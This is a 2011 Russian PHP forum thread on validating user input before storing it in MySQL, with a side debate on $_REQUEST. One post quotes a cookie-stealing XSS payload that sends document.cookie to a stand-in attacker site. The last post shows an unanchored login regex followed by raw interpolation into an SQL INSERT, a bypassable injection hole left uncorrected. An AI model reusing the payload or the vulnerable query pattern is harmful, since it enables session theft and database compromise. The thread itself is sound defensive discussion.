За последние 24 часа нас посетили 23006 программистов и 1268 роботов. Сейчас ищут 980 программистов ...

Фильтрация данных, полученных от пользователя

Тема в разделе "Прочие вопросы по PHP", создана пользователем marazmatik, 23 дек 2011.

  1. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Доброе время суток php комьюнити.
    Полезный сайт, и ресурс в челом.

    Решил воспользоваться возможностью и задать свой вопрос...
    Защита скрипта, одна из важных вещей, без неё можно было бы писать как минимум в раза два быстрей 8)
    но такая практика выйдет бок, если работаешь на заказчика, да и само оценку минусует такая практика :oops:

    Приведу простой пример проверки icq номера:

    if(empty($_REQUEST['icq']) || !preg_match("/^[\d]+$/D", $_REQUEST['icq'])){
    die ("Не корректно заполнено поле icq: номер!");
    }

    далее я делаю какие-то манипуляции с $_REQUEST['icq'] записываю в базу
    к примеру icq='{$_REQUEST['icq']}'

    Не создавая лишней строки типа: $this_icq = $_REQUEST['icq'];
    И записывая в ячейку соответственно icq='$this_icq'

    Можно конечно после проверки регулярным выражением сделать так
    $this_icq = mysql_real_escape_string($_REQUEST['icq']);

    То есть экранизировать скобки, и подобные вредные значения, для записи в mysql
    Но ведь суть, в том чтобы сработала регулярка, которая и не пропустит все кроме значения которое совпадает с регулярным выражением
    в нашем случае это цифры.

    В этом и вопрос, возможно ли обойти, проверку на регулярку, на сколько это безопасно?
    И вообще правильно ли я делаю?
    ------------------------------------------------

    Прошу не разводить бардак, в теме, ответить по делу человеку который в этом понимает.
     
  2. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    про надежность регулярок незнаю, но в данном случе, имхо проще проверить на is_int() и некую максимальную и минимальную величину.

    ЗЫ: и $_REQUEST лучше не юзать ;)
     
  3. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Про integer я конечно понимаю, но суть чуть не в этом.

    1----------> регулярное выражение проверяет входящие данный (get,pos)
    если они не соответствуют выводит ошибку

    2-------> Если все хорошо дальше уже работает с полученными данными (get,pos)
    Надежно ли это, и не проскочит тот же (get,pos) верхнюю строку с регуляркой и не запишет в базу, xss или выполнит sql инъекцию.
    ===================================
    На счёт реквеста ($_REQUEST) :) не совсем понял, в принципе постоянно применяю, гет и пост, но иногда есть потребности, чтобы к данному разделу, был доступ, как с гет запроса так и пост, чтобы не писать ещё один код, с различием только в (get,pos)
     
  4. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    эээм... уже непонял вопроса :) но думаю, если регулярка написана правильно, то обойти её врятли получится.

    на счет $_REQUEST... используте следующую правктику: методом GET выполняйте только получение данных, а методом POST только добавление, измнение и удаление, тогда и потребность в $_REQUEST как класс отпадёт :)
     
  5. sobachnik

    sobachnik Старожил

    С нами с:
    20 апр 2007
    Сообщения:
    3.380
    Симпатии:
    13
    Адрес:
    Дмитров, МО
    Ну, конкретно твоя регулярка пропустит, например, такую аську:

    000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

    А в б.д. поле, в которое заносится аська - наверняка какой-нить VARCHAR(9) и туда такая аська не поместится. Вообще, я на сколько помню из учебника по MySQL - невмещающееся должно просто усекаться, но вот сейчас проверил на своём компе - запрос не выполняется, не может вставить 10 символов в столбец, рассчитанный на 9. Пишет:

    ERROR 1406 : Data too long for column 'testc' at row 1

    Вроде, ничего особо опасного, но логика уже будет нарушена. Да и если у тебя там

    mysql_query($sql, $db) or exit($sql . '<br />' . mysql_error($db));

    какой-нибудь, то пользователь (и заказчик, кстати) - увидит какие-то непонятные сообщения об ошибках.

    Потом, пользователь может честно написать аську в таком виде:

    123-456-789

    или

    123 456 789

    а ты ему сразу die('неправильно написал');

    Тоже не приятно :) Если так важно проверить валидность... Я бы, наверно, перебрал строку посимвольно и выбрал бы оттуда первые 9 цифр (или меньше, если их там меньше). Но вообще - смысла в подобных проверках нет, ибо если пользователь захочет написать неправильную аську - он всё равно её напишет. Она, может быть и будет валидна с точки зрения preg_match() всяких, но это будет не его аська :)

    Да и die() как-то я бы тоже не стал использовать. Собрал бы все ошибки в массив $errors и вывалил бы ему потом на страничке с формой, в которой он ошибся, в специально отведённом под ошибки месте, с оформлением и всё такое.
     
  6. sobachnik

    sobachnik Старожил

    С нами с:
    20 апр 2007
    Сообщения:
    3.380
    Симпатии:
    13
    Адрес:
    Дмитров, МО
    d1gi
    И всё-таки - а чего такого плохого в $_REQUEST ? Просто интересно...

    Мне иногда (в некоторых ситуациях) бывает намного удобнее использовать именно $_REQUEST - бывает так, что какие-то определённые данные на страничку могут приходить как из обычных ссылок, так и из POST-форм...
     
  7. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    вот надо делать так, чтобы небыло таких ситуаций, когда и постом и гетом можно отправить одни и теже данные, да еще и которые будут обрабатываться одними и теми же скриптами ;)
     
  8. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Ну конечно пропустит нужно дописать хотя бы, {3,9}
    Но не в регулярке дело. Это как бы пример простого

    Просто интересно, есть ли вероятность обхода регулярного выражения.
    Как бы на это все проверки построенные, просто сначала регулярками манипулирую. Потом уже записываю.
    Честно говоря никогда так не делал. Для вывода ошибок своя функция отдельная.

    $tpl-tag('{errors}', '<div class="message red">'.$message.'</div>');
    $tpl->content('main');
    $tpl->_clear();
    exit();

    Конечно регулярками ставлю длину, которую указываю в mysql типа VARCHAR(9) {3,9}
    У меня не вмещающееся вроде усекаться =) хотя не уверен раньше усекалось.
    Я вывожу все ошибки, и нотики исправляю. И тестирую что будет если значение больше будет, что будет если в значении те или иные символы будут. На это собственно уходит много времени, на подобные проверки.

    Вы не правильно меня поняли, я не о регулярке переживаю, я выше уже описал. А если пользователь захочет, то выведу ему аяксом мол номер должен быть примерно такого вида XXX-XXX-XXX

    Пусть пишет что хочет ) <script>location.href="http://www.yourevilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script>



    Я стараюсь этого придерживаться, но иногда например есть общий свитч, который принимает, роst а нужно к примеру вызвать какой то раздел, к примеру config, а там только пост. Можно конечно скопировать функцию, один в один, но зачем?
    Я до сих пор не увидел мину, а данные что гетом что постом подделать можно, по этому роли не играет что реквест, что конкретно пост или только гет, главное это учесть, и обработать все.

    Тема сис... Тема $_REQUEST опять не раскрыта )
    Так в чем же опасность? Товарищ d1gi Использование $_REQUEST?
     
  9. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Единственный вред от $_REQUEST Большая вероятность затереть переменные одного метода другим.
    Одно из значений будет потеряно и отлавливать такие ошибки очень сложно.
    Верно?
     
  10. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    технически да, с $_REQUEST только одна проблемма, может возникнуть конфликт например когда передаются 2 значения $_GET['id'] = 1 и $_POST['id'] = 2, тогда что будет в $_REQUEST фих его знает :) но я хочу сказать, что вопрос в идеологии... например если почитать документацию на протокол HTTP, там чётко расписно, какие методы есть и для чего они служат и я считаю надо придерживаться этим концепциям, а $_REQUEST это просто плюшка РНР с каких-то древних времен, которую давно пора в статус депрекейдет наподобии как $HTTP_SERVER_VARS...
     
  11. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Все верно. Не знаю, просто тогда придется, копировать один и тот же код. Только вместо $_GET к примеру $_POST писать. У меня в основном в switch применяется $_REQUEST. Хотя можно и поставить пост.
     
  12. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    если пересмотреть архитектуру программного кода, то дублирования небудет :) запросы на получение данных должны обрабазываться одними методами, а запросы на изменение данных должны обрабатываться другими методами, так что всё ок, коллизий нет :)
     
  13. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.553
    Симпатии:
    631
    $_REQUEST надо использовать там, где ошибка возникнуть не может, или она будет не критической. GET затирается POST, а POST затирается куками.
    Да кстати, в него еще куки попадают.
     
  14. d1gi

    d1gi Активный пользователь

    С нами с:
    24 май 2009
    Сообщения:
    326
    Симпатии:
    0
    отсюда вывод: $_REQUEST использовать ненадо :)
     
  15. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.410
    Симпатии:
    1.768
    Чуваки, если это поле, которое будут читать ЛЮДИ а не машины, то так морочиться вобще нет смысла.

    На моей практике даже без проверки люди, которым нужно, пишут всегда правильно =)

    Т.е. защита скрипта в данном случае достаточна на уровне mysql_real_escape. А мучать юзера не надо.
     
  16. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.553
    Симпатии:
    631
    +1.
    Юзерам нравится в поле ICQ написать "высокий"
     
  17. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.410
    Симпатии:
    1.768
    еще поле выбора даты частенько лучше оставлять без изысков, т.к. люди могут написать "через пару недель"
     
  18. Апельсин

    Апельсин Активный пользователь

    С нами с:
    20 мар 2010
    Сообщения:
    3.645
    Симпатии:
    2
    [​IMG]
     
  19. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Вижу вы большой знаток, в разработке движков.
    Никто не хочет мучат юзера, я вообще задал другой вопрос.

    я не знаю какая там у вас практика была, но что будет если человек будет передавать к примеру всего навсего integer
    а в итоге мы получим. id='3fkowe' id='<script>alert(23444);</script>' id='<h1>Лол</div>'
    да и не только integer это самый тупейший ответ, не по теме (ЛЮДИ!!!!) Всегда все верно заполняют
    А А А интернет святое место где одни честные и благородные люди обитают.
    ------------------------------------------
    Ради бога не позорьтесь.
     
  20. karlozzz

    karlozzz Активный пользователь

    С нами с:
    24 окт 2010
    Сообщения:
    430
    Симпатии:
    0
    Адрес:
    Y-OLA
    htmlspecialchars Никто не отменял
    в надежности регулярок уверен на 99%, может быть проблемы только с косячной реализацией (что очень маловероятно ибо они уже достаточно давно в языке), с кодировками (хотя хорошей регулярке это не проблема), ну и конечно дублируй mysql_real_escape_string
     
  21. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Верно говоришь, тут не дело в htmlspecialchars троль выше написал, что не нужно ничего фильтровать, проверять, экранируйте мол mysql_real_escape_string, я показал пример простой ерунды.

    А вообще очень часто использую регулярные выражения, и собственно уверен в них тоже не менее 99% процентов. Но тут развели балаган, тройка людей по делу только отписалась, остальные тупо троли, и главное тролят не по делу.
     
  22. [vs]

    [vs] Суперстар
    Команда форума Модератор

    С нами с:
    27 сен 2007
    Сообщения:
    10.553
    Симпатии:
    631
    real_escape_string достаточно для защиты от sql-инъекций. А htmlspecialchars делать при выводе данных из БД, а не при записи. У хранения данных в исходном виде, без всяких specialchars'ов есть много плюсов.
    И этого достаточно для безопасности.
     
  23. Михаил

    Михаил Активный пользователь

    С нами с:
    12 июл 2009
    Сообщения:
    545
    Симпатии:
    0
    Адрес:
    Bielarus
    Так парень спрашивал про номер аськи, а вы ему escape, тут же регулярка нужна.
     
  24. karlozzz

    karlozzz Активный пользователь

    С нами с:
    24 окт 2010
    Сообщения:
    430
    Симпатии:
    0
    Адрес:
    Y-OLA
    Михаил, тут вопрос интересный, допустим вы знаете в чем проблема использования addslashes при экранировании в БД? =)
    Почитайте в нете, интересный момент для себя почерпнете =)
     
  25. marazmatik

    marazmatik Активный пользователь

    С нами с:
    16 дек 2011
    Сообщения:
    20
    Симпатии:
    0
    Вот именно я не про номер аськи спрашивал, я спрашивал на сколько безопасна такая конструкция

    //Проверка $_POST['login']
    if(!preg_match("/^[a-z0-9]{4,15}/iu", $_POST['login'])){
    die($global->Ajax(0, "login", "Логин пользователя может содержать только латинские буквы и цифры, не менее 4 и не более 15!"));
    }

    //далее запись

    $db->query("INSERT INTO users (
    login
    )VALUES(
    '{$_POST['login']}'
    )");

    И всего то. Опять же это всего лишь пример

    Интересовало достаточно проверки регуляркой?
    Или после регулярки сделать что то типа так

    $user_login = mysql_real_escape_string($_POST['login']);

    и потом только в базу данных записывать?